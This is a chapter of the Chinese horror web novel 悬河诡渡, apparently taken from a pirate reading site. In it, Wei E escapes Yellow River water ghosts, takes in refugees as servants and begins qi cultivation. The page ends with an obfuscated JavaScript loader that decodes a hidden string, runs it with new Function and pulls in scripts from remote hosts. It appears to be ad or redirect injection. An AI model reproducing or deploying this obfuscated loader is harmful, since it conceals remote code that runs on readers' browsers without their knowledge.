首页
悬河诡渡(卫大少爷)
返回

悬河诡渡(卫大少爷)

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    大牛坝泥神的笑容定格在了黄河里。
    它套着的怪婴皮虽然有古怪,但怪婴本身吃的人心还不多,还未完全成长起来,怪婴皮并不怎么坚韧。[兽牙弓]里出现的阿图残魂和青狼虚影扑上去,三下五除二就撕毁了怪婴的皮。
    怪婴的人皮一被撕裂,
    泥神整个儿全泡在了黄河里,连个咕噜的水花都没起,就陷了下去。
    此时,先前翻船,被跟下饺子一样下到黄河里的难民接二连三地扑腾了出来。
    “噗”的一声轻响,兽牙弓召唤出来的黑阿婆儿子的残魂和伴弓青狼的虚影眨眼化作一道青烟,在黄河水面上消失。光影晃动间,谁也没瞧清楚,而弓箭在卫厄手里一闪没了踪迹,卫厄同时落回到河水中。
    河水里还有水鬼泡着。
    一群难民顾不得乱看,全拼了命就往不远的河岸游。
    卫厄离河岸最近,水性也还不错,第一个登上了岸。
    老牛湾水流湍急,又是冬季,棉袄泡了水,又冷又沉,往外渗着泥水。河里的人游得艰难,只硬是在水鬼的威胁下爆发出全力。卫厄踹船踹得脚狠心狠,上了岸后,手一抖,将其余几柄银蝶刃召回来。半点搭救旁人的意思都没有,自顾自脱了外袄,沉着一张大户养出的白净面孔拧棉袄的水。
    “呼——呼——”沈富勇他们挣扎着从河里游了上来,趴在河滩上呼哧带喘。
    最后一个带孩子的妇人被自家汉子奋力拖上河。大伙儿湿漉漉地挤在一块儿,心有余悸地往黄河里瞅。
    老牛湾中的渡船早翻沉得只剩个船底板在水面一起一伏。
    浊水冲刷着船底,黄河水鬼的头发从船周围散开,像一片黑藻般往他们奋命游来的方向飘。
    想来是船头的活人河引已经被它们啃食干净了。
    再晚上半拍,估计就要丧命在黄河里了。
    一群逃难来的男男女女哆嗦着往河里看,那些黑色的水鬼头发起伏翻涌。忽然有人惊叫一声,指着水波动荡处大喊起来:“看那里,是、是那歹狠的婆姨!!!”其他人随着那家伙手指的方向看去,同时惊叫着往后退,恨不得离黄河越远越好。
    正拧着棉袄水的卫厄一抬眼,黄河水纹晃动,从黑压压的水鬼头发里,分出一张白惨惨、怨毒的脸。
    赫然就是先前的“李翠花”。
    只是眼下,“李翠花”也成了黄河水鬼的一员。
    其他人畏惧地往后退,唯恐水鬼从黄河里扑上岸,将活人拖下去。卫厄狭长的眼一眯,手中的银蝶刃一转,就要飞出插向水里。刀光在卫厄手指间一闪,黄河面的黑色头发已然往下沉。
    “李翠花”怨毒的脸孔隐匿在黑色的水鬼头发中。
    只能隐约察觉一丝怨毒萦绕不去。
    神诡怕恶人,“李翠花”对卫厄这二话不说,宰了她的恶人格外畏惧,只能不甘心地躲藏在水鬼群里,徘徊在河岸边。
    作为被怨毒锁定的对象,
    卫厄随手将刀一甩,又一旋带着一缕水鬼头发飞上岸。他看也不看刀刃上的水鬼头发,一甩刀,将刀刃甩干,盯着黄河水,道:“有本事上岸,少爷扒了你的皮做晨响鼓。”
    原本还在畏畏缩缩往旁侧躲的难民打了个哆嗦。听这大户少爷阴森森的语调,半点开玩笑的意思都没有,比诡还可怕,就像真扒过人皮当晨鼓——大宅里的奴仆和牲口差不多,深宅大院打死个把下人司空见惯。
    扒了皮就扒了皮,哪家少爷小姐手里没沾几条下人的命?
    打北边逃难来的难民原先还有心巴着年轻的后生,沾他的光活命,这会子不自觉往旁边退了退,不敢烦到他。
    唯恐让他烦了,一刀先剁了自己的脑袋。
    没人过来打扰,卫厄踩着滩石,将黄河里的情况瞧得更加清楚——那些水鬼在河边徘徊了一会儿,就缓缓往老牛湾中心去了。黑色的头发往下一沉,渐渐在黑暗中消失。
    泥神不能过河,水鬼不能上岸。
    【悬河诡渡】副本里的诡怪,比先前两个副本更诡谲莫测,似乎沾染了这片黄土地自身的荒凉怪诞。而想要从它们的追杀底下活下来,最好的办法,似乎不是同它们硬碰硬,而是找到它们杀人规律的缺陷之处。
    从难民的反应来看,他们不是第一天遇到大牛坝泥神、黄河水鬼,这些东西。
    和主线信息里的“黄圜诡祸后,黄河两岸诡怪丛出,民难生存”有关系吗?
    所谓的【黄圜诡祸】到底是什么?
    黄河里的水鬼已经消失了,老牛湾在沉沉夜色中恢复了表面的平静。湍流的河水冲刷礁石,夜幕中回荡着哗啦啦的水响。
    卫厄拧了两下短棉袄,发现这种明清样式的晋西北棉服里塞的棉花,一沾水就又死又硬,黄河水的泥腥味还牢牢地趴附棉花里头。
    卫厄:…………
    【我卫神就没受过这种委屈】
    【对不起卫神,辛苦您了】
    卫厄有条件选的情况下,向来爱干净。见他湿漉一身拧着老旧的棉袄,直播间紧张的弹幕缓下来后,不由得略微开起了玩笑。
    难民那头的情况比卫厄好不到哪里去。
    卫厄在船上的那脚,踹得心狠手狠,把所有人全下饺子一样的下到河里。所有人都是从头到脚泡了个湿透。玩家登入副本,没有行囊在身,但难民逃难身上都是大包小裹的。不少人的一些包裹掉到了河里,只有肩膀上、手臂上系得牢固的撘包还在。
    一些人的家当泡了黄河汤,捞是捞不回来了,又不敢对脾气差下手狠的大少爷有什么怨言。
    只能心如死灰地在河滩上搜检自己还剩多少东西。
    有些人家当全丢了,有些人的盘缠还在。
    得亏有那边的那么一尊煞神镇着,不然眼下河滩上就得先爆发出一场你争我抢的劫掠。
    老牛湾是黄河“几”字形转折处,一个极为特殊的峡谷渡口。难民是从老牛湾北面逃过来的,过了呈牛蹄状凹进去的河湾,就到了这边的河滩上,河滩再往前,是一堵高高的荒废明长城。
    老牛湾堡静悄悄的,没有火,也没有声响,再往后的长城和老牛湾村,暂时瞧不到踪迹。
    河滩边静得古怪,难民不敢贸然再喊,全簇拥在古长城脚下,被寒风吹得直打摆子。
    一些人的撘包里还有火石在,哆里哆嗦摸出来,从河滩附近捡了些干草和烂木头。用火石擦了点燃,烧起篝火。这些难民有点眼力见,不敢自己先烤火,瞧“大户少爷”阴沉着站在不远处拧棉袄,就挤出个干巴的老头,小心翼翼地过来:
    “这位……这位恩公欸,这边火点好了,您先烤烤?”先前险些被丢河里当河引的老汉点头哈腰地堆笑。
    大户少爷轻蔑地瞟了他们这群泥腿子一眼,
    最终碍于自己身上没带东西,一摆袖子,朝篝火走过去。
    他挑了火势烧得最旺的篝火坐下,将湿漉沉重的厚棉袄搭在火边烤。
    难民们挤在篝火外头,直到他坐下,才敢往其他堆篝火旁边坐了,挨着彼此烤起火。不管是谁,行囊都浸了水,里头就算有些干粮此时也不能吃了。一群人饿着肚子在噼啪的篝火边压低声商量片刻。
    你拼我凑,最后由沈富勇捧着一块半干的棉布,托着一堆拼凑起来的碎银两,恭恭敬敬地凑到卫厄身前。
    他满脸热忱道:“多亏这位恩公出手,俺们才能沾光从鬼门关里活下来。少爷身手实在了得,一方高人!得蒙相救,大恩大德,给少爷您做牛做马都不够报答的。俺们凑了凑,凑得这些家当,给恩公孝敬件新衣裳。”
    沈富勇这马屁拍得不要颜面,换个真正的大户少爷在这里,性情再刁钻阴狠都能被拍得舒坦。
    但他托着布的手轻微地颤抖,显然是格外紧张。
    卫厄打眼往篝火另一头一瞥,就看到一群难民大气不敢喘地盯着自己这边。
    能在逃难里活下来的,多少有些危机意识。
    他空着手上岸,又没拿行李,又没人同行,一副跟下人走散了,身上什么都没有的样子。
    这些人十有八|九是见他出手狠,怕他没盘缠,顺手将他们宰了,拿了所有人的银两走。
    一群难民不奇怪有钱、有本事的大少爷也在逃难。
    北面有更恐怖的东西?
    就连深宅高府的大户人家都扛不住?
    ……大牛坝泥神这种东西恐怕不是黄河流域唯一的诡怪。
    卫厄瞥难民的时候,沈富勇心里打起了鼓,怕这位大户少爷觉得自己这群人才凑这么点银两出来,是在侮辱他,一个不顺心咔嚓把自己结果了。那些大家的少爷主儿,哪个瞧得上他们这些泥腿子?
    要是让少爷们不爽快了,自己这条命没了都算轻的。
    篝火光下,头发、衣服都沾湿的少爷比关中人更深的五官被火照得不善。
    沈富勇越想越怵头,托银两的手都有些撑不住。
    等下一刻,卫厄收回视线,朝沈富勇瞥来的时候,
    沈富勇“噗通”跪下,大喊少爷饶命。
    卫厄:“…………”
    卫厄无语的那一瞬间,直播间也凝滞了,片刻满屏幕的弹幕刷过:【23333,演过头了】
     【演得难民都铁了心认定卫神就是个翻脸宰活人的反派大少爷】
    【哈哈哈快看玩家已获得的角色印象】
    【角色“沈富勇”对玩家“卫厄”的角色印象已升级——杀人不眨眼、心狠手辣、大户少爷,来历不明,阴晴不定】
    【恭喜卫神成为第一个获得银两的玩家hh】
    直播间弹幕热热闹闹刷过,穷得面朝黄土背天的难民凑出的银两不多。七零八碎,连铜板都够上,也就凑了六两不到。还净是些碎银碎两。卫厄懒得自己拿这些破烂块,朝沈富勇和旁侧一个有力气点的青壮难民一指。
    “你,还有你,给你们个当伙夫下仆的机会。不机灵当心你们的脑袋。”
    他语气轻慢,活脱脱一不把人命当回事的少爷哥。
    沈富勇和被点到的青壮汉却如同天上掉了馅饼一样,喜不自胜地连连叩谢,旁边的难民看得格外艳羡。—别说乱世里能给有能耐的人当仆从,活命机会会大上多少。就算是平时,能进大宅里当护卫下人,都比在黄土高原上种地强。
    另外一名被卫厄点到的青壮汉名字没沈富勇这么讲究,就叫刘三牛,是北面清水河厅,韭菜庄窝的村民。
    他们村原先还好好的,年头北边的难民往下走,有个痴痴傻傻的白姑娘被落在了他们村,住在荒败的窑洞中。
    村里有地痞流氓不是东西,见“白姑娘”痴痴傻傻,但好歹是个婆娘,长得还不赖,就摸进破窑洞里想把人那啥了。
    地痞流氓去一个没一个,起初大家还没发现,只当这些家伙出村鬼混去了。
    结果“白姑娘”一连吃了六七个大活人后,半夜朝村里伸出了条条白绸,把活人裹进白绸带里,做成吊死鬼。村里的人半夜醒来,吓得连家当都来不及收拾,就连夜逃命。没想到逃到大牛坝村,大牛坝村出了个比“清水”还恐怖的“大牛坝泥神”。
    “大牛坝泥神”吃人的速度快得惊人,特别是在没水的黄河沟壑中,一群人一群人的被黄泥吞没,变成泥胎。
    汇同其他地方的难民,一路逃一路死,几百号人,逃到老牛湾边就只剩下几十个人。
    等过了河,最终只有沾了卫厄光的十几号难民活下来。
    听着刘三牛的话,直播间对【悬河诡渡】副本的背景有了个初步的认知——这四星副本,没有像滇南山王那样,上来就一个恐怖的存在锁定所有玩家。可悬河副本里,简直可以说,处处是诡,到处是诡。
    “俺们打算往最近的保德州的河曲县城去。县城里这些东西少,”刘三牛道,“路上遇到过个挑青子汉的高人,指了一条活命,说最好是得到保德州府这些地方去。城头高,城里人头多,阳气旺,安全些。可俺们的骡马牛羊在路上都被吃了,盘缠不够,走不了那么远。”
    “挑青子汉的高人?”新鲜出炉的卫大少爷冷笑,将高人两字咬得阴阳怪气。
    似乎自视甚高,极其不满自己的下仆在他面前夸口旁人。
    沈富勇暗骂刘三牛个蠢货,富家出来的少爷,有功夫在身,哪里忍得了别人在他面前显摆。
    沈富勇连忙赔笑道:“哪里算什么高人,就是个江湖卖刀枪药的下九流,连给少爷牵马都不配。”
    原来是江湖卖药的被喊做“挑青子汉”,卖药的走南闯北,见多识广,说去县城州府阳气旺,诡物少应该有几分道理。卫厄面上不显,将河曲和保德州府作为自己的初期目的地——州城里人多,消息多,高人也多,想要知道黄河两岸为什么诡怪频出,黄圜诡祸又是什么,还得往这些热闹的地方寻去。
    要和其他玩家汇合,互相得消息,也得到这些州城。
    令卫厄在意的还有一桩,
    主神进副本以来,就没有过动静。封印在他身体中的诡物神像,静得出奇,但不像是被压制到连半点意识都没有。倒像是……诡物神像是具空壳,真正的诡神意识不在具现化的神像里。
    不知道是又吞了副本里的哪只诡怪,顶替了什么诡怪的身份,还是怎么回事。
    老牛湾滩边,几簇篝火噼啪烧着,河水哗啦啦响着,短棉袄烤半天仍然湿漉漉的。卫厄索性盘腿打坐,按照[梅轩秉诡诀]的心法,开始锤锻自己的心识。
    难民们见他打坐不理人,识趣地闭嘴,不敢打扰到他。
    在卫厄阖眼的时候,诡话APP中,继他之后,第二位获得初始资金的“玩家”诞生了——直播间编号97,一位耳边戴着红玛瑙和青金石的“玩家”,在一处客栈不紧不慢地宰掉了一客栈的匪徒。
    男人踹开尸体,手一张,成箱的金条落到他手里。
    【“玩家”姓名:“娄临”】
    【当前财富:二十金】
    ******
    一群人在黄河边烤火,等待天明。
    [梅轩秉诡诀]在现实里入门非常难,卫厄在龙门基地研究了大半个月,始终没有捕捉到那一丝玄而又玄的“气感”。按照[梅轩秉诡诀]的说法,人身有三只眼,两只肉眼,一只心眼。“心眼”又称“天眼”。
    开了心眼后,就能在冥想的时候,捕捉到天地间驳杂错乱的气韵。然后观想已经获得的一地庇福印,以自身坚定的意志、心性和阳火,捕捉天地罡气进入身体。只有完成这一步,才能修炼“梅轩秉诡诀”中的斩诡符文。
    卫厄在基地的时候,不论观想再多次,闭上眼那就是闭上眼。
    半点什么气韵罡气都没出现。
    卫厄还特地去请教过天师府出身的解元真。
    解元真倒是修炼出了“气感”,但他修炼出气感的过程连他自己都搞不清楚——他是打小就住在天师府龙虎山上,每日早课晚课,诵经打坐,持续不断二十多年。诡异复苏后,就莫名奇妙有气流出现在丹田中了。
    而同时的,其他天师府的师兄弟,有的有真气,有的没有,真气出现的多寡也各不相同。
    解元真他们是十几年几十年的功夫才有了气感。
    卫厄原本也做好了在“梅轩秉诡诀”入门这一槛耗费上一两年功夫的准备。
    没想到,身处【悬河诡渡】副本,刚一闭眼,卫厄的“视野”就出现了变化——
    眼皮前,微微橙红的篝火周围游荡着无数扭曲的线条。线条往外不断分布,颜色有蓝有紫有绿,有黑,有的给人一股污秽阴寒的感觉,有的给人以血腥粘稠的感觉。整个视野癫狂错乱。
    “看”见那些线条的瞬间,卫厄的耳边轻微地响起一片复杂的嗡鸣,那些扭曲的线条像是也能感觉到有活物瞧见它们一样,齐齐朝卫厄的视野涌来。
    就在此时,卫厄意识中的【闽地庇福】和【滇郡庇福】两枚庇福印散发出煌煌明光,
    一下子将靠近卫厄意识的那些扭曲线条驱开。
    ——怪不得笔记的主人强调,“梅轩秉诡诀”只有获得至少两枚的一地庇福印才能修炼。
    原来在这个世界,能修炼,就会看到不该看到的污秽癫狂的“气”!
    而看到这些癫狂污秽了的气,活人的意识就会被它们捕捉。一旦真的被接触触碰到,恐怕就要出大问题。
    煌煌明光包裹住卫厄的意识,等他再次观想周围的时候,那些线条虽然依旧扭曲,却不再向齐齐朝他涌来。他“睁眼”看清周围的这一事实,像是被两枚庇福印隐藏了。直到此刻,卫厄才能从复杂错乱的各色线条中,分辨出一丝丝数量非常少的淡金光线。
    想来就是“梅轩秉诡诀”中要修炼者捕捉的“天地罡气”。
    只是相对于其他黑色、紫色、青黑色的污秽线条而言,“天地罡气”的数量非常少,并且在被周围的其他线条侵蚀。
    在两枚“庇福印”的庇护下,卫厄的意识缓缓靠近那些淡金线条,
    淡金线条一被卫厄的意识触碰到,就缓慢地朝他飘了过来。卫厄精心凝神,那些淡金细线没进他的意识。
    一丝丝细微的气流终于在丹田处流动。
    物品栏中的“地官印”在此时轻微一闪,地官印上的青铜恶鬼之一忽然张开鬼口,吐出一团漆黑的雾气。
    【地官印“探魂索渡”功能已解锁——持掌地官印的审死官游走于阴阳之间。所有与审死官接触过的罪徒、邪祟,都会被地官印自动缉捕一缕气息。审死官可追寻该缕气息,对罪徒邪祟的记忆进行探索。(注:诡怪、阴魂实力越强,探索成功率越低,探索记忆范围越小,探索风险越大)】
    【探索期间遇到攻击,探索自动结束】
    【探索期间获得的特殊物品,可自行带出】
    【——是否以审死官身份进入罪徒“李翠花”的记忆?】
    阴绿的鬼火在面板上一烧,浮出两行提示。
    引罡气入体后,地官印的特殊能力居然自动解锁了。这新解锁的能力如果是真的,那称得上格外宽厚,只需要探索,没有风险,物品还能随意带出。
    青铜恶鬼的地官印在物品栏中散发轻微的光芒。“李翠花”明明只是个普通人,却能够通过“神媒婆”的身份,召出诡异的阴影……卫厄心念一动,选择了确定。下一刻,卫厄意识仿佛被吸进了一团铅黑的雾。
    等黑色的雾气散去,一个红通通的木盘子出现在眼前。
    盘子里摆放着花花绿绿,各种颜色的纸剪人形。
    彩纸剪的人形都扎着辫子,背后用黑纸白字写着不同的生辰八字。
    为了能继续更新维护本站内容,请书友们动动手点一次广告,再开启广告拦截功能
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();